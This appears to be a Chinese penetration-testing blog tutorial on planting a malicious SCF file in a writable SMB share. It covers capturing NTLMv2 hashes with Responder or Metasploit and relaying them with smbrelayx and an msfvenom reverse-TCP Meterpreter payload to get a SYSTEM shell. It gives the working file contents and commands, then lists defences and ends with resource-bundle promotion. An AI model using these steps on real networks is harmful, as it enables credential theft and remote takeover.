SMB是一种广泛用于企业组织中文件共享目的的网络协议。在内部的渗透测试中,发现包含明文密码和数据库连接字符串等敏感信息的共享文件并不罕见。但是,即使一个文件共享不包含任何可用于连接到其他系统的数据,但是未经身份验证的用户配置拥有该文件的写入权限,那么在这种情况下,攻击者也可以获得域用户的密码哈希值或Meterpreter shell。
收集哈希
SCF(Shell命令文件)文件可用于执行一组有限的操作,例如显示Windows桌面或打开Windows资源管理器,这并不是什么新鲜事。然而,一个SCF文件可以用来访问一个特定的UNC路径,允许渗透测试人员构建攻击。下面的代码可以被放置在一个文本文件,然后需要被植入到网络共享。
[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
SCF文件的内容
将pentestlab.txt文件保存为SCF文件,并且要使该文件在用户浏览文件时执行。在文件名前面添加@符号可以将pentestlab.scf放在共享驱动器文件列表的顶部。
SCF文件
Responder需要使用以下参数执行来捕获浏览共享的用户的哈希值。
responder -wrf --lm -v -I eth0
Responder – SCF的参数
当用户浏览共享时,将自动会从系统建立网络连接,连接到包含在SCF文件内的UNC路径。Windows将尝试使用用户名和密码对该共享进行身份验证。在验证过程中,随机的8字节质询密钥会从服务器发送到客户端,散列后的NTLM / LANMAN密码再次使用这个质询密钥进行加密。Responder将捕获NTLMv2哈希。
Responder -通过SCF抓取到的NTLMv2哈希
除了Responder,Metasploit Framework也有一个模块,可以用来捕获来自SMB客户端的挑战 – 响应密码哈希。
auxiliary/server/capture/smb
Metasploit – 捕获SMB的模块
和之前一样,用户在浏览相同的共享时,他的密码哈希将被Metasploit捕获。
Metasploit -捕获NTLMv2
如果公司内部的密码策略足够低,攻击者可能只需要几天或几个星期就能破解捕获到的密码散列。
Meterpreter Shell
上面的技术的主要优点是它不需要与用户有任何交互,并自动强制用户连接到共享,在这个过程中不存在NTLMv2哈希的协商过程。因此,也可以将此技术与SMB中继相结合,SMB中继将提供有效载荷,可以从访问该共享的每个用户检索Meterpreter Shell。
MSFVenom可用于生成将在目标上执行的有效载荷:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.171 LPORT=5555 -f exe > pentestlab.exe
MSFVenom – 为SMB中继生成的payload
Coresecurity已经发布了一个名为Impacket的Python脚本,可以对SMB等Windows协议执行各种攻击。使用smbrelayx 这个python脚本可以设置中继攻击并在当目标主机尝试连接SMB服务器时提供有效载荷。这将自动执行,因为SCF文件将强制每个用户使用他们自己的凭据连接到一个不存在的共享。
./smbrelayx.py -h Target-IP -e ./pentestlab.exe
Impacket – SMB中继服务器
Metasploit框架需要使用并在目标上执行pentestlab.exe时接收连接。
exploit/multi/handler
模块需要配置与生成的有效载荷相同的参数。
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
set LPORT 5555
exploit
Metasploit – 多处理程序模块
当用户浏览共享时,SMB服务器将接收到连接,并且将使用用户名和密码散列来与他的系统进行认证,并将有效载荷执行为可写共享。
Impacket – SMB中继攻击
Meterpreter将收到一个会话。但是为了避免丢失连接,有必要迁移到更稳定的进程。
Meterpreter – 列出正在运行的进程
需要使用迁移命令和进程标识。
Meterpreter – 进程迁移
在这个例子中,进程1600对应于以SYSTEM权限运行的svchost.exe进程。
Meterpreter – 迁移进程列表
从Meterpreter控制台运行getuid将获得当前的UID,现在是SYSTEM。
Meterpreter – 检索当前的UID
Metasploit框架也可以实现同样的攻击。
exploit/windows/smb/smb_relay
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.171
exploit
Metasploit – SMB中继模块
SMB服务器将建立一个通过使用用户名和密码哈希来验证目标的连接,在一个可写共享上传递一个有效载荷,以用户权限执行作为一个服务的有效载荷,执行清理并返回一个Meterpreter会话。
Metasploit – SMB中继攻击
可以使用sessions命令与现有会话执行交互。
Metasploit – SMB中继会话
结论
这个技术利用了像共享这样的所有网络中很常见的东西,以便检索密码散列并获取meterpreter shell。唯一的要求是用户需要浏览包含恶意SCF文件的共享。但是,通过执行以下操作可以防止这些攻击:
· 使用Kerberos身份验证和SMB签名
· 不允许未经身份验证的用户在文件共享中拥有写入权限
· 确保使用NTLMv2密码哈希代替LanMan
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
同时每个成长路线对应的板块都有配套的视频提供:
大厂面试题
视频配套资料&国内外网安书籍、文档
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)
特别声明:
此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。